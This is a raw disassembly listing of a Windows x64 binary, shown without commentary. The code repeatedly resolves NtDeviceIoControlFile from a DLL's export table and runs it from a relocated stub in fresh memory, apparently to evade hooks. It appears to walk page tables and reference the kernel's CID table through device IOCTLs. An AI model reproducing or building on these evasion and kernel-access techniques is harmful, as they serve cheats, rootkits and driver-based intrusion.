mov qword [rbp + 0xc38], r13
movups xmmword [rbp + 0x10b0], xmm0
lea r8d, [rdx + 1]
mov qword [rbp + 0x440], r13
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140066d95
cmp word [rax], bx
jne 0x140066d95
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140066d95
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140066d95
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140066d90
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140066bd3
inc rbx
cmp rbx, r14
jb 0x140066bb0
jmp 0x140066d90
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140066d90
mov esi, dword [rcx + 4]
test esi, esi
js 0x140066d90
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x92c44], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x918c0]
call fcn.1400be1b0
lea rcx, [rbp + 0x918c0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x918c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xaefe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140066c70
mov r8d, 0x1000
lea rdx, [rbp + 0xaefe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd18]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd18], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x440]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x440]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10b0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd18]
lea r9, [rbp + 0xd18]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x140067041
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x458]
test rdx, rdx
je 0x140067041
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rbp + 0xc40]
call fcn.1401d15a0
mov rax, qword [0x140329cf0]
lea rcx, [0x1401fded8]
mov r13d, dword [0x140322768]
xor edx, edx
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140067012
cmp word [rax], bx
jne 0x140067012
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140067012
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140067012
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140067012
nop word [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140066e63
inc rbx
cmp rbx, r14
jb 0x140066e40
jmp 0x140067012
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140067012
mov esi, dword [rcx + 4]
test esi, esi
js 0x140067012
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x93fd4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x92c50]
call fcn.1400be1b0
lea rcx, [rbp + 0x92c50]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x92c50]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xaffe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140066ef3
mov r8d, 0x1000
lea rdx, [rbp + 0xaffe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd1c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd1c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x440]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x440]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd1c]
lea r9, [rbp + 0xd1c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140067041
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rbp + 0xc40]
sub rbx, qword [rbp + 0xc38]
add rcx, qword [rbp + 0xc38]
mov qword [rsp + 0x78], rbx
mov qword [rbp + 0xc40], rcx
test rbx, rbx
jne 0x140065460
mov rsi, qword [rbp + 0xc30]
jmp 0x14006704c
xor esi, esi
mov ebx, dword [rbp + 0xc48]
lea rdx, [rbp + 0x20]
mov edi, esi
mov qword [rbp + 0x20], rbx
lea rcx, str.CIDTableSize:
mov qword [rbp + 0xc38], rsi
and edi, 3
call fcn.1400c1720
lea rdx, [rbp + 0x28]
mov qword [rbp + 0x28], rsi
lea rcx, str.CIDTableArray:
call fcn.1400c1130
cmp rbx, 4
jbe 0x140061b66
cmp edi, 1
je 0x14006a73f
test edi, edi
jne 0x1400670a6
lea rax, [rsi + 0x10]
jmp 0x14006c29e
xor eax, eax
mov qword [rbp + 0xc30], 0
mov qword [rsp + 0x78], rax
mov qword [rbp + 0xc40], 8
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x68]
add rax, 0xfffffffffffffffe
mov r13d, dword [0x140322b68]
add rax, rsi
mov qword [rsp + 0x60], rax
xor edx, edx
shr rax, 0x27
xorps xmm0, xmm0
and eax, 0x1ff
mov qword [rbp + 0x478], 0
mov qword [rbp + 0x480], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x488], 0
movups xmmword [rbp + 0x10c0], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x468], 8
mov qword [rbp + 0x470], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006738d
cmp word [rax], r14w
jne 0x14006738d
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006738d
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006738d
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140067387
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400671d4
inc rbx
cmp rbx, r14
jb 0x1400671b1
jmp 0x140067387
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140067387
mov esi, dword [rcx + 4]
test esi, esi
js 0x140067387
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x27e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1460]
call fcn.1400be1b0
lea rcx, [rbp + 0x1460]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x1460]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb0fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140067264
mov r8d, 0x1000
lea rdx, [rbp + 0xb0fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd20]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd20], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x468]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x468]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10c0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd20]
lea r9, [rbp + 0xd20]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x480]
test rbx, rbx
je 0x140068bec
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140067617
cmp word [rax], r14w
jne 0x140067617
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140067617
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140067617
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140067617
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140067454
inc rdi
cmp rdi, r15
jb 0x140067430
jmp 0x140067617
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140067617
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140067617
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3b74], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x27f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x27f0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x27f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xb1fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400674f0
mov r8d, 0x1000
lea rdx, [rbp + 0xb1fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd24]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd24], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x468]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x468]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10c0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd24]
lea r9, [rbp + 0xd24]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140068bec
test bl, 1
je 0x140068bec
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x4a0], 0
xor edx, edx
mov qword [rbp + 0x4a8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x4b0], 0
movups xmmword [rbp + 0x10d0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x490], 8
mov qword [rbp + 0x498], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x1400678db
cmp word [rax], bx
jne 0x1400678db
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400678db
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400678db
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400678d6
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140067723
inc rbx
cmp rbx, r14
jb 0x140067700
jmp 0x1400678d6
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400678d6
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400678d6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4f04], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x3b80]
call fcn.1400be1b0
lea rcx, [rbp + 0x3b80]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x3b80]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb2fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400677b3
mov r8d, 0x1000
lea rdx, [rbp + 0xb2fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd28]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd28], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x490]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x490]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10d0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd28]
lea r9, [rbp + 0xd28]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x4a8]
test rdi, rdi
je 0x140068bec
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140067b57
cmp word [rax], bx
jne 0x140067b57
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140067b57
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140067b57
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140067b57
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140067995
inc rbx
cmp rbx, r15
jb 0x140067971
jmp 0x140067b57
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140067b57
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140067b57
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x6294], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4f10]
call fcn.1400be1b0
lea rcx, [rbp + 0x4f10]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x4f10]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb3fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140067a30
mov r8d, 0x1000
lea rdx, [rbp + 0xb3fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd2c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd2c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x490]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x490]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10d0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd2c]
lea r9, [rbp + 0xd2c]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
test dil, 1
je 0x140068bec
movzx eax, dil
shr al, 7
test al, 1
je 0x140067b8b
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x140068665
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x4c8], 0
xor edx, edx
mov qword [rbp + 0x4d0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x4d8], 0
movups xmmword [rbp + 0x10e0], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x4b8], 8
mov qword [rbp + 0x4c0], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140067e4b
cmp word [rax], bx
jne 0x140067e4b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140067e4b
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140067e4b
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140067e46
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140067c93
inc rbx
cmp rbx, r14
jb 0x140067c70
jmp 0x140067e46
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140067e46
mov esi, dword [rcx + 4]
test esi, esi
js 0x140067e46
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x7624], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x62a0]
call fcn.1400be1b0
lea rcx, [rbp + 0x62a0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x62a0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb4fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140067d23
mov r8d, 0x1000
lea rdx, [rbp + 0xb4fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd30]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd30], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x4b8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x4b8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10e0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd30]
lea r9, [rbp + 0xd30]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x4d0]
test rdi, rdi
je 0x140068bec
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400680c7
cmp word [rax], bx
jne 0x1400680c7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400680c7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400680c7
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400680c7
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140067f05
inc rbx
cmp rbx, r15
jb 0x140067ee1
jmp 0x1400680c7
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400680c7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400680c7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x89b4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7630]
call fcn.1400be1b0
lea rcx, [rbp + 0x7630]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x7630]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb5fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140067fa0
mov r8d, 0x1000
lea rdx, [rbp + 0xb5fe0]
